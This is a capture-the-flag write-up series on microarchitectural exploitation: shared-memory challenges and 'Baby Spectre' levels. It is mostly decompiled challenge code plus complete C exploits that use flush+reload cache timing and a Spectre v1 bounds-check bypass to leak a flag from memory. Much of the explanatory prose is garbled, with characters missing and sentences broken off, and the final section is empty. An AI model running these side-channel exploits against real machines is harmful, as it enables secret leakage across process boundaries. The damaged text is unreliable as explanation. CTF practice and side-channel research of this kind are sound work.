┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Write-ups: System Security (Microarchitecture
Exploitation) series
~ CuB3y0nd
# Examples

 demo


 [axium](https://github.com/CuB3y0nd/axium)  / 
 star  :P

GitHub: https://github.com/CuB3y0nd/axium

 dashboard xD
 chart  PNG便……
TUI  report 
## 

```c
#include <axium/axium.h>

#define ARRAY_SIZE 32
#define PAGE_SIZE 0x1000
#define TOTAL_SIZE (ARRAY_SIZE * PAGE_SIZE)

int main(int argc, char *argv[]) {
  set_log_level(DEBUG);
  if (argc < 2) {
    log_info("Usage: %s <IDX>", argv[0]);
    return 1;
  }

  int target_idx = atoi(argv[1]);
  if (target_idx < 0 || target_idx >= ARRAY_SIZE) {
    log_error("Index must be between 0 and %d", ARRAY_SIZE - 1);
  }

  uint8_t *target = mmap(NULL, TOTAL_SIZE, PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
  if (target == MAP_FAILED) {
    log_exception("mmap");
  }

  uint64_t threshold = cache_calibrate_threshold(target);
  log_info("Calibrated threshold (context-aware): %lu cycles", threshold);

  cache_flush_range(target, TOTAL_SIZE);

  maccess(&target[target_idx * PAGE_SIZE]);
  uint64_t results[ARRAY_SIZE];
  for (size_t i = 0; i < ARRAY_SIZE; i++) {
    size_t mixed_idx = MIXED_IDX(i, ARRAY_SIZE - 1);

    uint64_t start = probe_start();
    maccess(&target[mixed_idx * PAGE_SIZE]);
    uint64_t end = probe_end();

    results[mixed_idx] = end - start;
  }

  cache_report_t report;
  cache_analyze(&report, results, ARRAY_SIZE, threshold);
  cache_report(&report);

  if (cache_export_report(&report, "report.json") == 0) {
    cache_view_report("report.json");
  } else {
    log_error("Report export failed!");
  }

  munmap(target, TOTAL_SIZE);
  return 0;
}
```

## 

 `multiprocess-attacker`  `victim` 访
```c title="victim.c"
#include <axium/axium.h>

#define ARRAY_SIZE 32
#define PAGE_SIZE 0x1000
#define TOTAL_SIZE (ARRAY_SIZE * PAGE_SIZE)

int main(int argc, char *argv[]) {
  set_log_level(DEBUG);
  if (argc < 3) {
    log_info("Usage: %s <IDX> <CPU CORE>", argv[0]);
    return -1;
  }

  int target_idx = atoi(argv[1]);
  if (target_idx < 0 || target_idx >= ARRAY_SIZE)
    log_error("Index must be between 0 and %d", ARRAY_SIZE - 1);

  long nprocs = sysconf(_SC_NPROCESSORS_ONLN);
  int chosen_cpu_core = atoi(argv[2]);
  if (chosen_cpu_core < 0 || chosen_cpu_core >= nprocs)
    log_error("CPU Core number must be between 0 and %ld", nprocs - 1);
  set_cpu_affinity(chosen_cpu_core);

  int fd = shm_open("/test", O_CREAT | O_RDWR, 0666);
  ftruncate(fd, TOTAL_SIZE);

  char *target =
      mmap(NULL, TOTAL_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);

  log_info("Victim performing a single access to Index %d...", target_idx);
  maccess(&target[target_idx * PAGE_SIZE]);

  return 0;
}
```

```c title="multiprocess-attacker.c"
#include <axium/axium.h>

#define ARRAY_SIZE 32
#define PAGE_SIZE 0x1000
#define TOTAL_SIZE (ARRAY_SIZE * PAGE_SIZE)

int main(int argc, char *argv[]) {
  set_log_level(DEBUG);
  if (argc < 2) {
    log_info("Usage: %s <CPU CORE>", argv[0]);
    return -1;
  }

  long nprocs = sysconf(_SC_NPROCESSORS_ONLN);
  int chosen_cpu_core = atoi(argv[1]);
  if (chosen_cpu_core < 0 || chosen_cpu_core >= nprocs)
    log_error("CPU Core number must be between 0 and %ld", nprocs - 1);
  set_cpu_affinity(chosen_cpu_core);

  shm_unlink("/test");
  int fd = shm_open("/test", O_CREAT | O_RDWR, 0666);
  ftruncate(fd, TOTAL_SIZE);

  char *target =
      mmap(NULL, TOTAL_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);

  uint64_t threshold = cache_calibrate_threshold(target);
  log_info("Calibrated threshold (context-aware): %lu cycles", threshold);

  if (cache_audit(target, threshold) != 0)
    log_warning("Audit FAILED: clflush seems ineffective.");

  cache_watch_report_t report;
  uint64_t hits[ARRAY_SIZE] = {0};
  cache_watch_report_init(&report, hits, ARRAY_SIZE, threshold);

  cache_watch_config config =
      cache_watch_config_init(threshold, ARRAY_SIZE, PAGE_SIZE, 100);

  cache_watch_install_handler(&report, "report.json");
  cache_watch(target, &config, NULL, &report);

  return 0;
}
```

# Shared Memory 1.0

## Information

- Category: Pwn

## Description

> Get started with interacting with processes via shared memory.

## Write-up





`main`  flag  `bss` 

```c
int read_flag_to_global()
{
  int v1; // [rsp+8h] [rbp-8h]
  int fd; // [rsp+Ch] [rbp-4h]

  fd = open("/flag", 0);
  v1 = read(fd, &flag_val, 0x100u);
  if ( !fd || v1 <= 0 )
  {
    printf("Failed to read flag file.  Exiting");
    exit(1);
  }
  return close(fd);
}
```



 `argc`  `1` `argv[0]` 


 `argv[1]`  `dest` N
ULL terminate `argva`  `dest`


```c
  if ( argc > 1 )
  {
    strncpy(dest, argv[1], 0x12Bu);
    dest[299] = 0;
    argva[0] = dest;
    argva[1] = 0;
    shared_page = make_shared_page(&p_sem);
    v12 = (int)time(0) % 13;
    pin_cpu(v12);
    printf("Pinning processes to CPU %dn", v12);
    v14 = fork();
    if ( v14 )
    {
      printf("Launching your code as PID: %d!n", v14);
      puts("----------------");
      wait(0);
      v11 = inject_open_shm(v14);
      inject_mmap(v14, v11);
      inject_drop_privs(v14);
      sem = p_sem;
      sem_init(p_sem, 1, 0);
      v9 = sem + 1;
      *(_DWORD *)sem[1].__size = 0;
      fd = open("/flag", 0);
      buf = (char *)&p_sem[1].__align + 4;
      read(fd, (char *)&p_sem[1].__align + 4, 0x50u);
      printf("The flag is now in memory at %pn", buf);
      ptrace_detatch(v14);
      shm_unlink("/pwncollege");
      puts("### Goodbye!");
    }
    else
    {
      ptrace(PTRACE_TRACEME, 0, 0, 0);
      execv(dest, argva);
    }
    return 0;
  }
  else
  {
    puts("ERROR: argc < 2!");
    return 1;
  }
```

 `0x101000` `0x1337000` `PROT_RE
AD | PROT_WRITE`flag  `MAP_FIXED | MAP_SHARED` `addr` 
 `fd` 访访

`0x1337000`  `p_sem` `semaphor
e` `fd`  `shared_page`

```c
__int64 __fastcall make_shared_page(sem_t **p_sem)
{
  unsigned int fd; // [rsp+1Ch] [rbp-4h]

  puts("Creating Shared memory");
  shm_unlink("/pwncollege");
  fd = shm_open("/pwncollege", 66, 0x1C7u);
  ftruncate(fd, 0x101000);
  *p_sem = (sem_t *)mmap((void *)0x1337000, 0x101000u, 3, 32769, fd, 0);
  if ( *p_sem != (sem_t *)0x1337000 )
    __assert_fail("*addr == (char *) mmap_addr", "babyarchmemflag.c", 0x169u, "m
ake_shared_page");
  return fd;
}
```

 seed  $[0, 13)$  CPU Core 

```c
int __fastcall pin_cpu(int n0x3FF)
{
  cpu_set_t cpuset; // [rsp+10h] [rbp-90h] BYREF
  unsigned __int64 n0x3FF_1; // [rsp+98h] [rbp-8h]

  memset(&cpuset, 0, sizeof(cpuset));
  n0x3FF_1 = n0x3FF;
  if ( (unsigned __int64)n0x3FF <= 1023 )
    cpuset.__bits[n0x3FF_1 >> 6] |= 1LL << (n0x3FF_1 & 63);
  return sched_setaffinity(0, 0x80u, &cpuset);
}
```

 `dest` `argv[1]` 
 `PTRACE_TRACEME` stat
s 

 `execv`   `SIGTRAP` `ptrace` 


```c
      ptrace(PTRACE_TRACEME, 0, 0, 0);
      execv(dest, argva);
```

 `wait(0)`  `SIGTRAP`  `ptrace`
 AI  victim 
 exp  mmap 

 `0x1337000` `p_sem`  `0` `open` flag
 flag  `(char *)&p_sem[1].__align + 4`  [sem_t](http
s://sourcegraph.com/github.com/bminor/glibc@fb4db64a04ad6c96cd1fbb7e02eb59323b1f
2ac2/-/blob/sysdeps/unix/sysv/linux/bits/semaphore.h?L35) 

```c
#if __WORDSIZE == 64
# define __SIZEOF_SEM_T 32
#else
# define __SIZEOF_SEM_T 16
#endif

typedef union
{
  char __size[__SIZEOF_SEM_T];
  long int __align;
} sem_t;
```

 flag  `ptrace_detatch` 


 flag 

## Exploit

```c
#include <semaphore.h>
#include <unistd.h>

#define SHM_BASE 0x1337000
#define SEM_SIZE sizeof(sem_t)
#define OFFSET (SEM_SIZE + 4)
#define FLAG_ADDR (char *)(SHM_BASE + OFFSET)

int main(int argc, char *argv[]) {
  write(1, FLAG_ADDR, 0x100);
  return 0;
}
```

# Shared Memory 2.0

## Information

- Category: Pwn

## Description

> Get started with interacting with processes via shared memory.

## Write-up



```c
    if ( v14 )
    {
      printf("Launching your code as PID: %d!n", v14);
      puts("----------------");
      wait(0);
      v11 = inject_open_shm(v14);
      inject_mmap(v14, v11);
      inject_drop_privs(v14);
      sem = p_sem;
      sem_init(p_sem, 1, 0);
      v9 = sem + 1;
      *(_DWORD *)sem[1].__size = 0;
      printf("This challenge will read the flag into memory when the semaphore l
ocated at %p is incremented.", sem);
      ptrace_detatch(v14);
      sem_wait(sem);
      fd = open("/flag", 0);
      buf = (char *)&p_sem[1].__align + 4;
      read(fd, (char *)&p_sem[1].__align + 4, 0x50u);
      printf("The flag is now in memory at %pn", buf);
      shm_unlink("/pwncollege");
      puts("### Goodbye!");
    }
```

`ptrace_detatch`  `sem_wait(sem)`  `open`, `read
` flag  `sem_init(p_sem, 1, 0)`  `0`
使 `sem_post` 

## Exploit

```c
#include <semaphore.h>
#include <unistd.h>

#define SHM_BASE 0x1337000
#define SEM_SIZE sizeof(sem_t)
#define OFFSET (SEM_SIZE + 4)
#define FLAG_ADDR (char *)(SHM_BASE + OFFSET)
#define SEM_ADDR (sem_t *)SHM_BASE

int main(int argc, char *argv[]) {
  sem_post(SEM_ADDR);
  write(1, FLAG_ADDR, 0x100);
  return 0;
}
```

# Baby Spectre 1

## Information

- Category: Pwn

## Description

> Get started with a binary that side-channels itself!

## Write-up



 `&sem[1] = p_sem = 0x1337000` `0`
 `sem_wait(*(sem_t **)&sem[1])` 
`&sem[1] + 32LL` 访 flag byte  idx 

退退

```c
pid_1 = waitpid(pid, &stat_loc, 1);
if ( pid == pid_1 )
  break;
```

`flush_cache`  `0x1337000`  `0x1338000`  cache 


 `&p_sem[128 * flag_val[*idx] + 128];`  `*(0x1337000 + 0x1000 * fl
ag_byte + 0x1000)` `0x1338000 + flag_byte * 0x1000` 
 64  L1 Cache 

:::tip
 `0x1000` C  `sizeof(type)`  `se
m_t *p_sem`  C `p_sem[N]`  `p_sem + (N * sizeof(sem_
t))` `sizeof(sem_t) == 0x20` `128`  `0x1000`




```asm showLineNumbers=false
main+594  mov     rax, [rbp+idx]
main+59B  mov     eax, [rax]
main+59D  cdqe
main+59F  lea     rdx, flag_val
main+5A6  movzx   eax, byte ptr [rax+rdx]
main+5AA  mov     [rbp+var_A72], al
main+5B0  mov     rax, [rbp+p_sem]
main+5B7  movsx   edx, [rbp+var_A72]
main+5BE  shl     edx, 0Ch
main+5C1  movsxd  rdx, edx
main+5C4  add     rdx, 1000h
main+5CB  add     rax, rdx
main+5CE  mov     [rbp+var_A40], rax
```

:::

 `get_timing_data(idx, *(sem_t **)&sem[1], (__int64)timing_data);` 
 256  `0x1338000 + [0, 255] * 0x1000`  256 访 `t
iming_data`  `*(_QWORD *)(8LL * (unsigned __int8)(-89 * i + 13) + timi
ng_data)` `timing_data`  `_QWORD` 访

 `timing_data` 访 `0x1
338000 + __size[8 * i]` `0x1338000`  `_QWORD` 访
 `timing_data[i]`  hit c
ache threshold page  flag byte flag byte 
 `*(0x1337000 + 0x1000 * flag_byte + 0x1000)` 访
 page  ASCII  flag 

```c
for ( i = 0; i <= 255; ++i )
{
  v14 = p_sem + 128;
  *(_QWORD *)&p_sem[128].__size[8 * i] = timing_data[i];
}
```

## Exploit

 Pwn Framework xD

```c
#include <axium/axium.h>

#define SHM_BASE ((char *)0x1337000)
#define SEM_OFFSET 0
#define IDX_ARRAY_OFFSET sizeof(sem_t)
#define TIMING_ARRAY_OFFSET 0x1000
#define TIMING_ARRAY_SIZE 256

/**
 * @brief Context for the challenge environment.
 */
typedef struct {
  sem_t *sem;             /**< Semaphore for synchronization. */
  int *idx_array;         /**< Index selection in shared memory. */
  uint64_t *timing_array; /**< Timing results in shared memory. */
} challenge_ctx_t;

/**
 * @brief Triggers the victim to perform a measurement.
 */
static void trigger(size_t idx_array, void *ctx) {
  challenge_ctx_t *c = (challenge_ctx_t *)ctx;
  *c->idx_array = (int)idx_array;
  c->timing_array[TIMING_ARRAY_SIZE - 1] = 0; /* Clear synchronizing sentinel */
  sem_post(c->sem);
}

/**
 * @brief Waits for the victim to finish measurement.
 */
static bool wait(void *ctx) {
  challenge_ctx_t *c = (challenge_ctx_t *)ctx;
  /* Wait up to 1 second, checking every 100us */
  return wait_until(c->timing_array[TIMING_ARRAY_SIZE - 1] != 0, 1.0, 100);
}

int main(void) {
  set_log_level(DEBUG);

  /* Match challenge's CPU affinity for stable measurements */
  set_cpu_affinity(time(NULL) % 13);

  /* clang-format off */
  challenge_ctx_t ctx = {
    .sem = (sem_t *)(SHM_BASE + SEM_OFFSET),
    .idx_array = (int *)(SHM_BASE + IDX_ARRAY_OFFSET),
    .timing_array = (uint64_t *)(SHM_BASE + TIMING_ARRAY_OFFSET)
  };

  schan_ops_t ops = {
    .trigger = trigger,
    .wait = wait,
    .analyze = NULL
  };
  /* clang-format on */

  schan_oracle_t schan_oracle;
  schan_oracle_init(&schan_oracle, ops, ctx.timing_array, TIMING_ARRAY_SIZE,
                    &ctx);

  /* Upcast to generic oracle for high-level scanning */
  oracle_t *oracle = &schan_oracle.base;

  log_info("Starting exploit...");

  char flag[256] = {0};
  ssize_t leaked = oracle_scan(oracle, flag, sizeof(flag) - 1, '}');

  if (leaked > 0) {
    log_success("Flag: %s", flag);
  } else {
    log_error("Exploit failed.");
  }

  return 0;
}
```

# Baby Spectre 2

## Information

- Category: Pwn

## Description

> A binary that side-channels itself, now using multiple pages.

## Write-up

 `0x1000` `p_align = &p_sem[128 * i + 128]
.__align;`

## Exploit

```c
#include <axium/axium.h>

#define SHM_BASE ((char *)0x1337000)
#define SEM_OFFSET 0
#define IDX_ARRAY_OFFSET sizeof(sem_t)
#define TIMING_ARRAY_OFFSET 0x1000
#define TIMING_ARRAY_SIZE 256

typedef struct {
  sem_t *sem;
  int *idx_array;
  uint64_t *timing_array;
  uint64_t results[TIMING_ARRAY_SIZE];
} challenge_ctx_t;

static void trigger(size_t idx_array, void *ctx) {
  challenge_ctx_t *c = (challenge_ctx_t *)ctx;
  *c->idx_array = (int)idx_array;
  uint64_t *sentinel =
      (uint64_t *)((char *)c->timing_array + 0x1000 * (TIMING_ARRAY_SIZE - 1));
  *sentinel = 0;
  sem_post(c->sem);
}

static bool wait(void *ctx) {
  challenge_ctx_t *c = (challenge_ctx_t *)ctx;
  uint64_t *sentinel =
      (uint64_t *)((char *)c->timing_array + 0x1000 * (TIMING_ARRAY_SIZE - 1));

  if (!wait_until(*sentinel != 0, 1.0, 100)) {
    return false;
  }

  for (int i = 0; i < TIMING_ARRAY_SIZE; i++) {
    c->results[i] = *(uint64_t *)((char *)c->timing_array + 0x1000 * i);
  }

  return true;
}

int main(void) {
  set_log_level(DEBUG);
  set_cpu_affinity(time(NULL) % 13);

  /* clang-format off */
  challenge_ctx_t ctx = {
    .sem = (sem_t *)(SHM_BASE + SEM_OFFSET),
    .idx_array = (int *)(SHM_BASE + IDX_ARRAY_OFFSET),
    .timing_array = (uint64_t *)(SHM_BASE + TIMING_ARRAY_OFFSET)
  };

  schan_ops_t ops = {
    .trigger = trigger,
    .wait = wait,
    .analyze = NULL
  };
  /* clang-format on */

  schan_oracle_t schan_oracle;
  schan_oracle_init(&schan_oracle, ops, ctx.results, TIMING_ARRAY_SIZE, &ctx);

  oracle_t *oracle = &schan_oracle.base;

  log_info("Starting exploit...");

  char flag[256] = {0};
  ssize_t leaked = oracle_scan(oracle, flag, sizeof(flag) - 1, '}');

  if (leaked > 0) {
    log_success("Flag: %s", flag);
  } else {
    log_error("Exploit failed.");
  }

  return 0;
}
```

# Baby Spectre 3

## Information

- Category: Pwn

## Description

> Measure memory access timings to leak the flag via a side-channel.

## Write-up

 exp  CPU 
…… exp …… flag 

## Exploit

```c
#include <axium/axium.h>

#define SHM_BASE ((char *)0x1337000)
#define SEM_OFFSET 0
#define IDX_ARRAY_OFFSET sizeof(sem_t)
#define TIMING_ARRAY_SIZE 256

typedef struct {
  sem_t *sem;
  int *idx_array;
  char *probe_base;
  uint64_t results[TIMING_ARRAY_SIZE];
} challenge_ctx_t;

static void trigger(size_t idx_array, void *ctx) {
  challenge_ctx_t *c = (challenge_ctx_t *)ctx;
  *c->idx_array = (int)idx_array;
  sem_post(c->sem);
}

static bool wait(void *ctx) {
  challenge_ctx_t *c = (challenge_ctx_t *)ctx;

  for (int i = 0; i < TIMING_ARRAY_SIZE; i++) {
    int idx = MIXED_IDX(i, 255);
    char *addr = c->probe_base + 0x1000 * idx;

    uint64_t start = probe_start();
    maccess(addr);
    uint64_t end = probe_end();

    c->results[idx] = end - start;
  }

  return true;
}

int main(void) {
  set_log_level(DEBUG);
  set_cpu_affinity(time(NULL) % 13);

  /* clang-format off */
  challenge_ctx_t ctx = {
    .sem = (sem_t *)SHM_BASE,
    .idx_array = (int *)((sem_t *)SHM_BASE + 1),
    .probe_base = (char *)SHM_BASE + 0x1000
  };

  schan_ops_t ops = {
    .trigger = trigger,
    .wait = wait,
    .analyze = NULL
  };
  /* clang-format on */

  schan_oracle_t schan_oracle;
  schan_oracle_init(&schan_oracle, ops, ctx.results, TIMING_ARRAY_SIZE, &ctx);

  oracle_t *oracle = &schan_oracle.base;

  log_info("Starting exploit...");

  char flag[256] = {0};
  ssize_t leaked = oracle_scan(oracle, flag, sizeof(flag) - 1, '}');

  if (leaked > 0) {
    log_success("Flag: %s", flag);
  } else {
    log_error("Exploit failed.");
  }

  return 0;
}
```

# Baby Spectre 4

## Information

- Category: Pwn

## Description

> Perform a full flush and reload side-channel attack!

## Write-up

 CPU  flag


## Exploit

```c
#include <axium/axium.h>

#define SHM_BASE ((char *)0x1337000)
#define SEM_OFFSET 0
#define IDX_ARRAY_OFFSET sizeof(sem_t)
#define TIMING_ARRAY_SIZE 256

typedef struct {
  sem_t *sem;
  int *idx_array;
  char *probe_base;
  uint64_t results[TIMING_ARRAY_SIZE];
} challenge_ctx_t;

static void trigger(size_t idx_array, void *ctx) {
  challenge_ctx_t *c = (challenge_ctx_t *)ctx;

  for (int i = 0; i < TIMING_ARRAY_SIZE; i++) {
    clflush(c->probe_base + 0x1000 * i);
  }
  mfence();

  *c->idx_array = (int)idx_array;
  sem_post(c->sem);
}

static bool wait(void *ctx) {
  challenge_ctx_t *c = (challenge_ctx_t *)ctx;

  for (int i = 0; i < TIMING_ARRAY_SIZE; i++) {
    int idx = MIXED_IDX(i, 255);
    char *addr = c->probe_base + 0x1000 * idx;

    uint64_t start = probe_start();
    maccess(addr);
    uint64_t end = probe_end();

    c->results[idx] = end - start;
  }

  return true;
}

int main(void) {
  set_log_level(DEBUG);
  set_cpu_affinity(time(NULL) % 13);

  /* clang-format off */
  challenge_ctx_t ctx = {
    .sem = (sem_t *)SHM_BASE,
    .idx_array = (int *)((sem_t *)SHM_BASE + 1),
    .probe_base = (char *)SHM_BASE + 0x1000
  };

  schan_ops_t ops = {
    .trigger = trigger,
    .wait = wait,
    .analyze = NULL
  };
  /* clang-format on */

  schan_oracle_t schan_oracle;
  schan_oracle_init(&schan_oracle, ops, ctx.results, TIMING_ARRAY_SIZE, &ctx);

  oracle_t *oracle = &schan_oracle.base;

  log_info("Starting exploit...");

  char flag[256] = {0};
  ssize_t leaked = oracle_scan(oracle, flag, sizeof(flag) - 1, '}');

  if (leaked > 0) {
    log_success("Flag: %s", flag);
  } else {
    log_error("Exploit failed.");
  }

  return 0;
}
```

# Baby Spectre 5

## Information

- Category: Pwn

## Description

> This binary never reads the flag bytes.. or does it?

## Write-up

 flag  `(float)((float)*p_align / 257.0) > 1.0`
 `258`  `if`  `258`  fla
g……

```c
if ( (float)((float)*p_align / 257.0) > 1.0 )
  v12 = &p_sem[128 * flag_val[*p_align] + 128];
```

 **Spectre v1 Bounds Check Bypass (BCB) CVE-2017-5753**
 `258` CPU  **Branch Prediction Unit (BCB)**
 if  if 
 Speculative Execution使 cyc
les 

So ?  Spectre v1 BCB 
……

~~ wp 
~~

## Exploit

```c
#include <axium/axium.h>

#define SHM_BASE ((char *)0x1337000)
#define PAGE_SIZE 0x1000
#define TIMING_ARRAY_SIZE 256

typedef struct {
  sem_t *sem;
  int *idx_addr;
  char *probe_base;
  uint64_t results[TIMING_ARRAY_SIZE];
} challenge_ctx_t;

static uint64_t cache_threshold = -1;
static int training_byte_to_ignore = -1;

static void victim_callback(void *ctx) {
  challenge_ctx_t *c = (challenge_ctx_t *)ctx;
  sem_post(c->sem);
}

static void trigger_wrapper(size_t idx, void *ctx) {
  challenge_ctx_t *c = (challenge_ctx_t *)ctx;

  /* clang-format off */
  spectre_config_t config = {
    .variant = SPECTRE_V1_BCB,
    .v1 = {
      .index_addr = c->idx_addr,
      .index_size = sizeof(int),
      .training_val = 258,
      .attack_val = idx,
    },
    .ratio = 4,
    .trials = 100,
    .sync_delay = 0,
    .post_delay = 100
  };
  /* clang-format on */

  cache_flush_range(c->probe_base, PAGE_SIZE * TIMING_ARRAY_SIZE);
  mfence();
  spectre_v1(&config, victim_callback, c);
}

static bool wait_wrapper(void *ctx) {
  challenge_ctx_t *c = (challenge_ctx_t *)ctx;
  for (int i = 0; i < 256; i++) {
    int idx = MIXED_IDX(i, 255);
    char *addr = c->probe_base + PAGE_SIZE * idx;

    uint64_t start = probe_start();
    maccess(addr);
    uint64_t end = probe_end();

    c->results[idx] = end - start;
  }
  return true;
}

static int analyze_wrapper(const uint64_t *data, size_t len, void *ctx) {
  (void)ctx;
  uint64_t min_time = cache_threshold;
  int best_index = -1;
  for (int i = 0; i < (int)len; i++) {
    if (i == training_byte_to_ignore)
      continue;
    if (data[i] > 0 && data[i] < min_time) {
      min_time = data[i];
      best_index = i;
    }
  }
  return best_index;
}

int main(void) {
  set_log_level(DEBUG);
  set_cpu_affinity(time(NULL) % 13);

  /* clang-format off */
  challenge_ctx_t ctx = {
    .sem = (sem_t *)SHM_BASE,
    .idx_addr = (int *)((sem_t *)SHM_BASE + 1),
    .probe_base = (char *)SHM_BASE + PAGE_SIZE
  };

  schan_ops_t ops = {
    .trigger = trigger_wrapper,
    .wait = wait_wrapper,
    .analyze = analyze_wrapper
  };
  /* clang-format on */

  cache_threshold = cache_calibrate_threshold(ctx.probe_base);

  log_info("Profiling bias...");
  trigger_wrapper(258, &ctx);
  wait_wrapper(&ctx);
  training_byte_to_ignore = find_best_hit(ctx.results, 256);

  schan_oracle_t oracle;
  schan_oracle_init(&oracle, ops, ctx.results, 256, &ctx);

  char flag[256] = {0};
  log_info("Starting statistical scan...");

  ssize_t leaked = oracle_scan_stat(&oracle.base, flag, sizeof(flag) - 1, '}',
                                    50, 2, 10, NULL, 256);
  if (leaked > 0) {
    log_success("Flag: %s", flag);
  } else {
    log_error("Exploit failed.");
  }

  return 0;
}
```

# Baby Spectre 6

## Information

- Category: Pwn

## Description

> Locate the flag in memory using shellcode after all references to it have been
 DESTROYED, you will only have access to the "exit" system call. You will need a
 creative way of locating the flag's address in your process!

## Write-up

## Exploit

```c

```